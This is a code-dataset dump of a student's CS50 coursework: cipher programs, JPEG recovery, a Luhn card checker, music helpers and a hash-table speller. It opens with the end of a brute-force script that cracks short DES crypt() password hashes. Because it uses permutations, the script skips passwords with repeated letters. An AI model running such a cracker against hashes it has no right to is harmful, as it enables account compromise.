print(\"Usage: python crack.py hashofPassword\")\n\n password = sys.argv[1]\n\n # Store all alphabets\n allCharacter = string.ascii_letters\n salt = password[:2]\n\n length = len(allCharacter)\n tmp = [''] * 4\n\n # Get all permutations of 1, 2, 3, 4, and 5 length\n # strings and store them\n a = permutations(allCharacter, 1)\n b = permutations(allCharacter, 2)\n c = permutations(allCharacter, 3)\n d = permutations(allCharacter, 4)\n e = permutations(allCharacter, 5)\n\n # Try all the permutations with crypt\n for word in a:\n if(crypt.crypt(''.join(word), salt) == password):\n print(''.join(word))\n exit(0)\n\n # Try all the permutations with crypt\n for word in b:\n if(crypt.crypt(''.join(word), salt) == password):\n print(''.join(word))\n exit(0)\n\n # Try all the permutations with crypt\n for word in c:\n if(crypt.crypt(''.join(word), salt) == password):\n print(''.join(word))\n exit(0)\n\n # Try all the permutations with crypt\n for word in d:\n if(crypt.crypt(''.join(word), salt) == password):\n print(''.join(word))\n exit(0)\n\n # Try all the permutations with crypt\n for word in e:\n if(crypt.crypt(''.join(word), salt) == password):\n print(''.join(word))\n exit(0)\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.4427402913570404, "alphanum_fraction": 0.45807769894599915, "avg_line_length": 24.763158798217773, "blob_id": "25bd2ae4051e96cd7095ccb18710d64f302c7814", "content_id": "a986ac0c05f703c81e14f0f7d059de2415ec683b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 978, "license_type": "no_license", "max_line_length": 108, "num_lines": 38, "path": "/pset6/vigenere/vigenere.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "import sys\nfrom cs50 import get_string, eprint\n\n\ndef main():\n if(len(sys.argv) != 2 or not(allAlpha(sys.argv[1]))):\n eprint(\"Usage: python vigenere k\")\n sys.exit(1)\n\n k = list(sys.argv[1])\n for i in range(len(k)):\n if (k[i].isupper()):\n k[i] = (ord(k[i]) - ord('A'))\n else:\n k[i] = (ord(k[i]) - ord('a'))\n\n text = get_string(\"plaintext: \")\n count = 0\n for i in range(len(text)):\n if(text[i].isalpha()):\n if(text[i].isupper()):\n text = text[:i] + chr(((ord(text[i]) - ord('A') + k[count]) % 26) + ord('A')) + text[i + 1:]\n else:\n text = text[:i] + chr(((ord(text[i]) - ord('a') + k[count]) % 26) + ord('a')) + text[i + 1:]\n count = (count + 1) % len(k)\n\n print(\"ciphertext: {0}\".format(text))\n\n\ndef allAlpha(s):\n for i in s:\n if(not(i.isalpha())):\n return False\n return True\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.42335766553878784, "alphanum_fraction": 0.45417681336402893, "avg_line_length": 20.275861740112305, "blob_id": "5a92723f0dfc2711110349569d7ffd77acd22009", "content_id": "6a5a507866dcad6e3b9a0d5867b5cc5356aaa3ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 116, "num_lines": 58, "path": "/pset4/recover/recover.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <cs50.h>\n#include <string.h>\n#include <math.h>\n#include <stdint.h>\n\nint main(int argc, string argv[])\n{\n if (argc != 2)\n {\n fprintf(stderr, \"Usage: ./recover raw_image\\n\");\n return 1;\n }\n\n FILE *inptr = fopen(argv[1], \"r\");\n if (inptr == NULL)\n {\n fprintf(stderr, \"Could not open %s\\n\", argv[1]);\n return 2;\n }\n\n int count = 0, num = 0;\n uint8_t tmpArr[512];\n char fileName[8];\n\n FILE *newFile = NULL;\n while (fread(tmpArr, 512, 1, inptr))\n {\n if (tmpArr[0] == 0xff && tmpArr[1] == 0xd8 && tmpArr[2] == 0xff && (tmpArr[3] == 0xe0 || tmpArr[3] == 0xe1))\n {\n if (newFile != NULL)\n {\n fclose(newFile);\n }\n\n sprintf(fileName, \"%03i.jpg\", count++);\n newFile = fopen(fileName, \"w\");\n\n if (newFile == NULL)\n {\n fprintf(stderr, \"Not able to open new files.\\n\");\n }\n }\n\n if (newFile != NULL)\n {\n fwrite(tmpArr, 512, 1, newFile);\n }\n num += 1;\n }\n\n if (newFile != NULL)\n {\n fclose(newFile);\n }\n fclose(inptr);\n printf(\"%i %i\\n\", count++, num);\n}" }, { "alpha_fraction": 0.39500391483306885, "alphanum_fraction": 0.43247464299201965, "avg_line_length": 17.852941513061523, "blob_id": "61b51e0488098997ec62afbc3d3bf9a785a6079b", "content_id": "d7172a5548fe795343f1b0b0cdc4c44081711c6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1281, "license_type": "no_license", "max_line_length": 161, "num_lines": 68, "path": "/pset1/credit/credit.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <cs50.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n\nint digits(int num);\n\nint main(void)\n{\n long long num;\n do\n {\n num = get_long(\"Number: \");\n }\n while (num < 0);\n\n int length = (int) (log(num) / log(10)) + 1, checksum = 0;\n int card[length];\n\n for(int i = 0; i < length; i++)\n {\n card[i] = (num % 10);\n num /= 10;\n }\n\n for (int i = 0; i < length; i++)\n {\n if(i % 2)\n {\n checksum += digits(2 * card[i]);\n }\n else\n {\n checksum += card[i];\n }\n }\n\n if(checksum % 10 != 0 || length < 13 || length > 16)\n {\n printf(\"INVALID\\n\");\n }\n else if(card[length - 1] == 4)\n {\n printf(\"VISA\\n\");\n }\n else if(card[length - 1] == 5 && (card[length - 2] == 1 || card[length - 2] == 2 || card[length - 2] == 3 || card[length - 2] == 4 || card[length - 2] == 5))\n {\n printf(\"MASTERCARD\\n\");\n }\n else if(card[length - 1] == 3 && (card[length - 2] == 4 || card[length - 2] == 7))\n {\n printf(\"AMEX\\n\");\n }\n else\n {\n printf(\"INVALID\\n\");\n }\n}\n\nint digits(int num)\n{\n if(num < 10)\n {\n return num;\n }\n return digits(num / 10) + num % 10;\n}" }, { "alpha_fraction": 0.530434787273407, "alphanum_fraction": 0.5478261113166809, "avg_line_length": 15.5, "blob_id": "5e6f52d8fe58a903917312cd45159e5ff3f702d6", "content_id": "5b31dbd13bac2f1b449512ee0e6f2821e866f535", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 230, "license_type": "no_license", "max_line_length": 37, "num_lines": 14, "path": "/pset3/music/test.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#include <cs50.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"helpers.h\"\n\nint main(void)\n{\n string note = \"A4\";\n int f = frequency(note);\n\n // Print note to screen\n printf(\"%3s: %i\\n\", note, f);\n}" }, { "alpha_fraction": 0.4873563349246979, "alphanum_fraction": 0.5103448033332825, "avg_line_length": 30.071428298950195, "blob_id": "a2f48989f0b104aee50375c10131e4e2b87be5c1", "content_id": "009f9fdd4e12ca9e83a1d60ec76f5d5eab369a7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 435, "license_type": "no_license", "max_line_length": 99, "num_lines": 14, "path": "/pset6/caesar/caesar.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "import sys\nfrom cs50 import get_string\n\nkey = int(sys.argv[1])\ntext = get_string(\"plaintext: \")\n\nfor i in range(len(text)):\n if(text[i].isalpha()):\n if(text[i].islower()):\n text = text[:i] + chr(((ord(text[i]) - ord('a') + key) % 26) + ord('a')) + text[i + 1:]\n else:\n text = text[:i] + chr(((ord(text[i]) - ord('A') + key) % 26) + ord('A')) + text[i + 1:]\n\nprint(\"ciphertext: {0}\".format(text))\n" }, { "alpha_fraction": 0.5476922988891602, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 15.300000190734863, "blob_id": "3cf4ca82166d29af44d2d3f94c0300a4c2ccd6e4", "content_id": "e708a6486f4e0faed247879f4c94ea0a56724ae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "no_license", "max_line_length": 34, "num_lines": 20, "path": "/pset6/cash/cash.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "from cs50 import get_float\n\nn = get_float(\"Change owed: \")\nwhile (n < 0):\n n = get_float(\"Change owed: \")\n\ncoins, cents = 0, int(n * 100)\n\ncoins = coins + (cents // 25)\ncents = cents % 25\n\ncoins = coins + (cents // 10)\ncents = cents % 10\n\ncoins = coins + (cents // 5)\ncents = cents % 5\n\ncoins = coins + cents\n\nprint(coins)" }, { "alpha_fraction": 0.3828061521053314, "alphanum_fraction": 0.3949716091156006, "avg_line_length": 18.58730125427246, "blob_id": "2845300d4612d3422f29b934d44dd453db2c7196", "content_id": "ce8dc54c5088e8582339eef6f6316d2c89f20e28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 68, "num_lines": 63, "path": "/pset2/vigenere/vigenere.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#include <string.h>\n#include <cs50.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n\nbool allAlpha(string s);\n\nint main(int argc, char** argv)\n{\n if (argc != 2 || !allAlpha(argv[1]))\n {\n printf(\"Usage: ./vigenere k\\n\");\n return 1;\n }\n\n string k = argv[1];\n int keyLength = strlen(k);\n for (int i = 0, n = strlen(k); i < n; i++)\n {\n if(isupper(k[i]))\n {\n k[i] = k[i] - 'A';\n }\n\n if(islower(k[i]))\n {\n k[i] = k[i] - 'a';\n }\n }\n\n string text = get_string(\"plaintext: \");\n for (int i = 0, n = strlen(text), count = 0; i < n; i++)\n {\n if (isalpha(text[i]))\n {\n if (isupper(text[i]))\n {\n text[i] = (((text[i] - 'A' + k[count]) % 26) + 'A');\n }\n\n if (islower(text[i]))\n {\n text[i] = (((text[i] - 'a' + k[count]) % 26) + 'a');\n }\n count = (count + 1) % keyLength;\n }\n }\n\n printf(\"ciphertext: %s\\n\", text);\n}\n\nbool allAlpha(string s)\n{\n for(int i = 0, n = strlen(s); i < n; i++)\n {\n if(!isalpha(s[i]))\n {\n return false;\n }\n }\n return true;\n}" }, { "alpha_fraction": 0.3019789159297943, "alphanum_fraction": 0.3220251798629761, "avg_line_length": 19.919355392456055, "blob_id": "bf65b5f949bad542a1b546967da401864371f0a2", "content_id": "1e85303e7d9a7f058b3a0854927f00a6788a2425", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3891, "license_type": "no_license", "max_line_length": 124, "num_lines": 186, "path": "/pset3/music/helpers.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "// Helper functions for music\n\n#include <cs50.h>\n#include <string.h>\n#include <math.h>\n#include <stdio.h>\n#include \"helpers.h\"\n\n// Converts a fraction formatted as X/Y to eighths\nint duration(string fraction)\n{\n int X = fraction[0] - '0';\n int Y = fraction[2] - '0';\n return (X * 8) / Y;\n}\n\n// Calculates frequency (in Hz) of a note\nint frequency(string note)\n{\n char letter;\n int num, semitone = 0;\n if (strlen(note) == 2)\n {\n letter = note[0];\n num = note[1] - '0';\n }\n else\n {\n letter = note[0];\n num = note[2] - '0';\n }\n\n // If note is After A4\n if (num > 4)\n {\n // for A#4 and B4\n semitone += 2;\n\n //\n semitone += (num - 5) * (12);\n\n // now walk\n switch (letter)\n {\n case 'C':\n semitone += 1;\n break;\n case 'D':\n semitone += 3;\n break;\n case 'E':\n semitone += 5;\n break;\n case 'F':\n semitone += 6;\n break;\n case 'G':\n semitone += 8;\n break;\n case 'A':\n semitone += 10;\n break;\n case 'B':\n semitone += 12;\n break;\n }\n\n if (strlen(note) == 3)\n {\n if (note[1] == '#')\n {\n semitone++;\n }\n else\n {\n semitone--;\n }\n }\n }\n // If note is before A4\n else if (num < 4)\n {\n semitone += 9;\n\n semitone += (3 - num) * 12;\n\n switch (letter)\n {\n case 'B':\n semitone += 1;\n break;\n case 'A':\n semitone += 3;\n break;\n case 'G':\n semitone += 5;\n break;\n case 'F':\n semitone += 7;\n break;\n case 'E':\n semitone += 8;\n break;\n case 'D':\n semitone += 10;\n break;\n case 'C':\n semitone += 12;\n break;\n }\n\n if (strlen(note) == 3)\n {\n if (note[1] == '#')\n {\n semitone--;\n }\n else\n {\n semitone++;\n }\n }\n semitone = -semitone;\n }\n // If its in the 4th Octave\n else\n {\n switch (letter)\n {\n case 'B':\n semitone += 2;\n break;\n case 'G':\n semitone += 2;\n break;\n case 'F':\n semitone += 4;\n break;\n case 'E':\n semitone += 5;\n break;\n case 'D':\n semitone += 7;\n break;\n case 'C':\n semitone += 9;\n break;\n }\n\n if (strlen(note) == 3)\n {\n if (letter == 'B')\n {\n if (note[1] == '#')\n {\n semitone++;\n }\n else\n {\n semitone--;\n }\n }\n else if (note[1] == '#')\n {\n semitone--;\n }\n else\n {\n semitone++;\n }\n }\n\n if (letter != 'B')\n {\n semitone = -semitone;\n }\n }\n //printf(\"Frequency: Letter: %c Number: %i Semi: %i Ans: %f\\n\", letter, num, semitone, pow(2,(semitone / 12.00)) * 440);\n return round(pow(2, (semitone / 12.00)) * 440);\n}\n\n// Determines whether a string represents a rest\nbool is_rest(string s)\n{\n return (strcmp(s, \"\") == 0);\n}\n" }, { "alpha_fraction": 0.7816091775894165, "alphanum_fraction": 0.8160919547080994, "avg_line_length": 57, "blob_id": "a4bac94a202c48f3d631563009d684fcc8f0633c", "content_id": "d3dd302dc0a1728d4667dc7a0453e6e49c65973c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 174, "license_type": "no_license", "max_line_length": 71, "num_lines": 3, "path": "/README.md", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "# Intro-to-Computer-Science-CS50-\nThis repository contains all my projects and code involved in CS50.\nhttps://www.edx.org/course/introduction-computer-science-harvardx-cs50x\n" }, { "alpha_fraction": 0.33376792073249817, "alphanum_fraction": 0.3950456380844116, "avg_line_length": 21.58823585510254, "blob_id": "b2db230082c7b9986940bb7dbac986834356687f", "content_id": "3dd1bb1d99e529dc7eba2da4131b39fc6890077a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 62, "num_lines": 34, "path": "/pset6/credit/credit.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "from cs50 import get_int\n\n\ndef main():\n n = str(get_int(\"Number: \"))\n s, s1, c = 0, 0, 0\n\n for i in range(len(n) - 1, -1, -1):\n if (c % 2 == 1):\n s = s + digits((ord(n[i]) - ord('0')) * 2)\n else:\n s1 = s1 + (ord(n[i]) - ord('0'))\n c = c + 1\n\n if(((s + s1) % 10 != 0) or len(n) < 13 or len(n) > 16):\n print(\"INVALID\")\n elif(n[0] == '4'):\n print(\"VISA\")\n elif(n[0] == '5' and (n[1] in ['1', '2', '3', '4', '5'])):\n print(\"MASTERCARD\")\n elif(n[0] == '3' and (n[1] == '4' or n[1] == '7')):\n print(\"AMEX\")\n else:\n print(\"INVALID\")\n\n\ndef digits(s):\n if(s < 10):\n return int(s)\n return int(s % 10) + int(digits(s / 10))\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5334522724151611, "alphanum_fraction": 0.5432649254798889, "avg_line_length": 20.420381546020508, "blob_id": "e0a533e20e6e1fe66a20a001e4a6cbb5357506a7", "content_id": "ac7403c057bc6b76682651ccc14f18edb159d076", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3363, "license_type": "no_license", "max_line_length": 113, "num_lines": 157, "path": "/pset5/speller/dictionary.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "// Implements a dictionary's functionality\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <cs50.h>\n#include <string.h>\n#include <ctype.h>\n\n#include \"dictionary.h\"\n\n\n// Default dictionary\n#define DICTIONARY \"dictionaries/large\"\n\nint numWords = 0, collisions, maxi = 0;\nint chainLength[BUCKETS] = {0};\nchar duplicateCheck[50];\n\n// Returns true if word is in dictionary else false\nbool check(const char *word)\n{\n strcpy(duplicateCheck, word);\n\n for (int i = 0, n = strlen(word); i < n; i++)\n {\n duplicateCheck[i] = tolower(duplicateCheck[i]);\n }\n\n // Hash it\n int index = hash(duplicateCheck);\n\n // Go through it and check\n return search(tabel[index], duplicateCheck);\n}\n\n// Loads dictionary into memory, returning true if successful else false\nbool load(const char *dictionary)\n{\n for (int i = 0; i < BUCKETS; i++)\n {\n tabel[i] = NULL;\n }\n\n // Open File\n FILE *inptr = fopen(dictionary, \"r\");\n if (inptr == NULL)\n {\n printf(\"Could not open dictionary for reading.\\n\");\n return false;\n }\n\n // Read word\n char word[50];\n while (fscanf(inptr, \"%s\\n\", word) != EOF)\n {\n numWords++;\n\n // Hash it\n int index = hash(word);\n\n /*\n // Attach to Linked list\n if(tabel[index] != NULL)\n {\n collisions++;\n chainLength[index]++;\n if(chainLength[index] > maxi)\n maxi = chainLength[index];\n }\n */\n insert(index, word);\n }\n /*\n int sum = 0, zero= 0;\n for (int i = 0; i < BUCKETS; i++)\n {\n if(chainLength[i] != 0)\n sum += chainLength[i];\n else\n zero++;\n }\n\n printf(\"Collisions: %i\\nMaxi: %i\\n Avg: %f\\nZero %i\\n\", collisions, maxi, (float)sum / (BUCKETS-zero), zero);\n for (int i = 1000; i < 3000; i++)\n {\n printf(\"%i %i\\n\", i, chainLength[i]);\n }\n */\n fclose(inptr);\n return true;\n}\n\n// Returns number of words in dictionary if loaded else 0 if not yet loaded\nunsigned int size(void)\n{\n return numWords;\n}\n\n// Unloads dictionary from memory, returning true if successful else false\nbool unload(void)\n{\n struct node *next;\n struct node *current;\n for (int i = 0; i < BUCKETS; i++)\n {\n current = tabel[i];\n while (current != NULL)\n {\n next = current->nextptr;\n free(current->data);\n free(current);\n current = next;\n }\n }\n return true;\n}\n\n// Return hash value of word\nint hash(string word)\n{\n /*unsigned int h = 0;\n for (int i = 0, n = strlen(word); i < n; i++)\n {\n h = (h << 2) ^ word[i];\n }*/\n int h = 0;\n for (int i = strlen(word); i >= 0; i--)\n {\n h = (h * XforHash + word[i]) % BUCKETS;\n }\n return h % BUCKETS;\n}\n\nbool search(struct node *root, string word)\n{\n struct node *current = root;\n while (current != NULL)\n {\n if (strcmp(current->data, word) == 0)\n {\n return true;\n }\n current = current->nextptr;\n }\n return false;\n}\n\nvoid insert(int index, string word)\n{\n struct node *tmp = malloc(sizeof(struct node) * 1);\n char *duplicate = malloc(sizeof(char) * (strlen(word) + 1));\n\n strcpy(duplicate, word);\n tmp->data = duplicate;\n tmp->nextptr = tabel[index];\n tabel[index] = tmp;\n}\n" } ]
17
central-poc/dailyinterface
https://github.com/central-poc/dailyinterface
80f9d7ce6df2c3b0ae1f00426853aa9a975698c9
7a474586fe84bc822618aa3d214653607e1989c6
393524974b3fea6851622130804c52e61e6f07d2
refs/heads/master
2023-02-15T03:34:42.491832
2020-11-17T09:11:53
2020-11-17T09:11:53
329,487,250
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6394034028053284, "alphanum_fraction": 0.6471012830734253, "avg_line_length": 33.93277359008789, "blob_id": "5979fa8610d253841f513917d363f1388b7d5063", "content_id": "ab0370d4ae0861827d2adf5d54fdccefe9156510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4157, "license_type": "no_license", "max_line_length": 102, "num_lines": 119, "path": "/src/sbl_ofm_product_master_full.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import sftp, chunks, cleardir\nimport csv\nfrom datetime import datetime\nimport math\nimport os\nimport pymssql\nimport uuid\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nparent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\ntarget_dir = 'siebel/full'\ntarget_path = os.path.join(parent_path, 'output', target_dir)\nif not os.path.exists(target_path):\n os.makedirs(target_path)\ncleardir(target_path)\n\ninterface_name = 'BCH_OFM_T1C_ProductMasterFull'\nnow = datetime.now()\nbatchdatetime = now.strftime('%d%m%Y_%H:%M:%S:%f')[:-3]\nfiledatetime = now.strftime('%d%m%Y_%H%M%S')\n\nper_page = 10000\ncount = 1\n\nwith pymssql.connect(\"10.17.1.23\", \"CTOAI\", \"CTO@Ai\",\n \"DBInterfaceSiebel\") as conn:\n with conn.cursor(as_dict=True) as cursor:\n start_time = datetime.now()\n sql = \"\"\"\n SELECT top 1\n BatchID,\n TotalRecord\n FROM tb_Control_Master\n WHERE MasterType = 'M'\n ORDER BY BatchID DESC\n \"\"\"\n cursor.execute(sql)\n data = cursor.fetchone()\n batch_id = data[\"BatchID\"]\n print(batch_id)\n sql = \"\"\"\n SELECT\n '1' AS LNIdentifier,\n 'OFM-' + RTLProductCode + '-' + CAST(NEWID() AS NVARCHAR(36)) AS SourceTransID,\n RTLProductCode as PID,\n Barcode AS Barcode,\n case when len(ProductNameEN) > 0 then ProductNameEN else ProductNameTH end AS [ProductNameEN],\n case when len(ProductNameTH) > 0 then ProductNameTH else ProductNameEN end AS [ProductNameTH],\n DivCode AS DIVCode,\n LTRIM(RTRIM(DivNameEN)) AS DIVNameEN,\n LTRIM(RTRIM(DivNameTH)) AS DIVNameTH,\n DeptID AS DeptID,\n LTRIM(RTRIM(DepNameEN)) AS DeptNameEN,\n LTRIM(RTRIM(DepNameTH)) AS DeptNameTH,\n SubDeptID AS SubDeptID,\n LTRIM(RTRIM(SubDeptNameEN)) AS SubDeptNameEN,\n LTRIM(RTRIM(SubDeptNameTH)) AS SubDeptNameTH,\n ClassID AS ClassID,\n LTRIM(RTRIM(ClassNameEN)) AS ClassNameEN,\n LTRIM(RTRIM(ClassNameTH)) AS ClassNameTH,\n SubClassID AS SubClassID,\n LTRIM(RTRIM(SubClassNameEN)) AS SubClassNameEN,\n LTRIM(RTRIM(SubDeptNameTH)) AS SubClassNameTH,\n ProductLine AS ProductLine,\n PrimaryDesc AS PrimaryDesc,\n '' AS SecondaryDesc,\n Status AS Status,\n BrandID AS [BrandID],\n BrandNameEN AS [BrandNameEN],\n BrandNameTH AS [BrandNameTH],\n VendorID AS VendorID,\n VendorNameEN AS VendorNameEN,\n VendorNameTH AS VendorNameTH,\n EffectiveStartDate AS EffectiveStartDate,\n EffectiveEndDate AS EffectiveEndDate,\n CreditConsignmentCode as CreditConsignmentCode,\n CreditConsignmentDesc as CreditConsignmentDesc,\n '' AS SourceSystem,\n PointExcludeFlg AS PointExclusionFlag\n FROM tm_Product_Monthly\n WHERE BatchID=%s\n ORDER BY RTLProductCode\n \"\"\"\n cursor.execute(sql, batch_id)\n rows = cursor.fetchall()\n\n elapsed_time = (datetime.now() - start_time).seconds\n print(\"Prepared in {} s.\".format(elapsed_time))\n\n chunk = chunks(rows)\n for count, data in enumerate(chunk):\n\n headers = data[0]\n total_row = len(data)\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime,\n count + 1)\n filepath = os.path.join(target_path, datfile)\n with open(filepath, 'w') as outfile:\n outfile.write(\"0|{}\\n\".format(total_row))\n writer = csv.DictWriter(\n outfile, fieldnames=headers, delimiter='|', skipinitialspace=True)\n for d in data:\n writer.writerow(d)\n outfile.write('9|End')\n\nctrlfile = \"{}_{}.ctrl\".format(interface_name, filedatetime)\nfilepath = os.path.join(target_path, ctrlfile)\nattribute1 = \"\"\nattribute2 = \"\"\nwith open(filepath, 'w') as outfile:\n outfile.write(\"{}|OFM|Online|{}|{}|{}|OFM|{}|{}\".format(\n interface_name, count + 1, len(rows), batchdatetime, attribute1,\n attribute2))\n\nstart_time = datetime.now()\ndestination = 'incoming/product_full'\nsftp('ofm-prod', target_path, destination)\nelapsed_time = (datetime.now() - start_time).seconds\nprint(\"Success FTP in {} s.\".format(elapsed_time))\n" }, { "alpha_fraction": 0.5968809127807617, "alphanum_fraction": 0.6427221298217773, "avg_line_length": 38.924530029296875, "blob_id": "28d86b6d359900d31c707b1536147a796586670d", "content_id": "61a1e5c5146de881e47057f6ce8e5f7da3548b53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2116, "license_type": "no_license", "max_line_length": 79, "num_lines": 53, "path": "/src/ofin_l_test.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import unittest\nimport GoodsReceivingRTV_MERLine as gr\n\n\nclass GoodsReceivingRTVMERLineTest(unittest.TestCase):\n def test_main_checkrule_merl_found_000000_or_00000(self):\n testdata = [{\n 'Vendor_number': '000000'\n }, {\n 'Vendor_number': '00000'\n }, {\n 'Vendor_number': '700003'\n }]\n self.assertTrue(gr.main_checkrule_merl(testdata))\n\n def test_main_checkrule_merl_not_found_00000_or_00000(self):\n testdata = [{'Vendor_number': '700003'}]\n self.assertFalse(gr.main_checkrule_merl(testdata))\n\n def test_gen_seq_number_return_fromdate_plus_1_when_found_in_files_name(\n self):\n fromdate = 'L170721'\n seq = gr.gen_seq_number(['L170721.MER', 'L170620.MER'], fromdate,\n len(fromdate))\n self.assertEqual(seq, 170722)\n\n def test_gen_seq_number_return_1_when_not_found_fromdate_in_files_name(self):\n fromdate = 'L170722'\n seq = gr.gen_seq_number(['L170721.MER', 'L170620.MER'], fromdate,\n len(fromdate))\n self.assertEqual(seq, 1)\n\n def test_get_invoice_type_dash_or_zero(self):\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('4'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('5'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('6'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('7'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('c'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('C'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('d'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('D'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('e'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('E'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('f'))\n self.assertEqual('-', gr.get_invoice_type_dash_or_zero('F'))\n\n self.assertEqual('0', gr.get_invoice_type_dash_or_zero('A'))\n self.assertEqual('0', gr.get_invoice_type_dash_or_zero('CC'))\n self.assertEqual('0', gr.get_invoice_type_dash_or_zero('1'))\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.7887324094772339, "alphanum_fraction": 0.7887324094772339, "avg_line_length": 27.399999618530273, "blob_id": "b377c0986f7c1225c7b2a2d1703ff588a6783e93", "content_id": "2d7c28538fd76444f140865a492b51c3aa6fad6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 142, "license_type": "no_license", "max_line_length": 40, "num_lines": 5, "path": "/scripts/product-inc.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#! /bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\npython src/sbl_cgo_product_master_inc.py\npython src/sbl_ofm_product_master_inc.py\n" }, { "alpha_fraction": 0.6887755393981934, "alphanum_fraction": 0.6989796161651611, "avg_line_length": 23.5, "blob_id": "faf6080f6eac4b0e348b475aa6450c17b423f322", "content_id": "08918cf824c8f0edec55cd2813db9dfbb31bc803", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 196, "license_type": "no_license", "max_line_length": 56, "num_lines": 8, "path": "/scripts/autopos-siebel.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\necho \"===== Starting generate text AutoPOS with env: $1\"\npython src/autopos_siebel.py $1\nexit_code=$?\necho \"===== END\"\nexit \"$exit_code\"\n" }, { "alpha_fraction": 0.6409608125686646, "alphanum_fraction": 0.6607669591903687, "avg_line_length": 42.16363525390625, "blob_id": "ee157a7eb3b235f34d4712db89c5d2787bad16cc", "content_id": "bbcf2e293ea53e1254bb541e6e1344788e17ebd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2373, "license_type": "no_license", "max_line_length": 133, "num_lines": 55, "path": "/src/autopos_bi_checker.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import notifyLine, notifySlack\nfrom datetime import date, timedelta\nimport ftplib, os, traceback\n\n\ndef notify(message):\n print(message)\n # notifyLine(message)\n notifySlack(message)\n\n\ndef cds():\n try:\n today = date.today().strftime('%Y%m%d')\n ftp = ftplib.FTP('10.0.15.66')\n ftp.login('magento', 'magentocd2019')\n\n path = '/oradata/Informatica_Source_File/POS_Payment'\n files = ftp.nlst(path)\n payment = [s for s in files if '{}/BICDS_10138_Payment_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-CDS-Payment successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-CDS-Payment not found !!')\n\n path = '/oradata/Informatica_Source_File/POS_Promotion'\n files = ftp.nlst(path)\n payment = [s for s in files if '{}/BICDS_10138_Promotion_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-CDS-Promotion successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-CDS-Promotion not found !!')\n\n path = '/oradata/Informatica_Source_File/POS_Discount'\n files = ftp.nlst(path)\n payment = [s for s in files if 